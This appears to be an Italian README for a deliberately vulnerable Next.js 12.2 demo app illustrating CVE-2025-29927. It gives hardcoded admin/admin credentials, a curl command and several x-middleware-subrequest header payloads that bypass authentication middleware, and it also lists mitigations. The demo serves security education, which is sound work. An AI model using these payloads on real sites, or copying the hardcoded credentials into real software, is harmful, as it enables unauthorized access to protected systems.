Hello World - Next.js 12.2

Una semplice applicazione proof of concept Next.js 12.2.

🚀 Avvio Rapido

1. Installa le Dipendenze

npm install

2. Avvia il Server di Sviluppo

npm run dev

L'applicazione sarà disponibile all'indirizzo http://localhost:3000

🛠️ Script Disponibili

• npm run dev - Avvia il server di sviluppo
• npm run build - Compila per la produzione
• npm run start - Avvia il server di produzione

🎯 Funzionalità

• ✅ Next.js 12.2 - Ultima versione stabile
• ✅ React 18.2 - Funzionalità React moderne
• ✅ Design Semplice - Interfaccia pulita e reattiva
• ✅ Sistema di Autenticazione - Accesso con credenziali hardcoded
• ✅ Pannello Admin - Dashboard protetta con dati sensibili
• ✅ Middleware Vulnerabile - Dimostra tecniche di bypass dell'autenticazione
• ✅ Demo di Exploit - Problemi di sicurezza facili da riprodurre

🔧 Personalizzazione

Modifica pages/index.js per modificare la pagina Hello World. L'applicazione utilizza stili inline per semplicità, ma puoi aggiungere file CSS o librerie di stili come necessario.

🔓 Demo di Sicurezza CVE-2025-29927

Questa applicazione dimostra la vulnerabilità CVE-2025-29927 scoperta da Rachid.A (zhero) e Yasser Allam (inzo_):

📋 Dettagli della Vulnerabilità

• CVE: CVE-2025-29927
• CVSS: 9.1/10 (Critico)
• Versioni interessate: Next.js 11.1.4 - 15.2.2
• Impatto: Bypass completo del middleware tramite header x-middleware-subrequest

🎯 Credenziali della Demo

• Nome utente: admin
• Password: admin

🚨 Metodi di Exploit per CVE-2025-29927

1. Estensione del Browser (ModHeader) - Aggiungi l'header x-middleware-subrequest: middleware
2. Console JavaScript - Usa fetch con l'header di bypass
3. Exploit con cURL - curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
4. Richieste Python - Aggiungi l'header per bypassare completamente il middleware

🔧 Variazioni del Payload

• Next.js 12.2+: x-middleware-subrequest: middleware
• Con directory /src: x-middleware-subrequest: src/middleware
• Next.js 15.x: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

🛡️ Mitigazione

• Aggiorna a Next.js 15.2.3+ (14.2.25+ per la 14.x)
• Blocca l'header x-middleware-subrequest a livello di proxy/CDN
• Implementa una validazione aggiuntiva lato server

⚠️ AVVERTENZA: Questo dimostra una CVE reale solo a scopo educativo!

📦 Dipendenze

• next: 12.2.0
• react: 18.2.0
• react-dom: 18.2.0

🎨 Stili

Questa applicazione utilizza stili inline per semplicità. Per un'app in produzione, considera l'utilizzo di:

• CSS Modules
• Styled Components
• Tailwind CSS
• O qualsiasi altra soluzione di styling

---

Buon coding! 🚀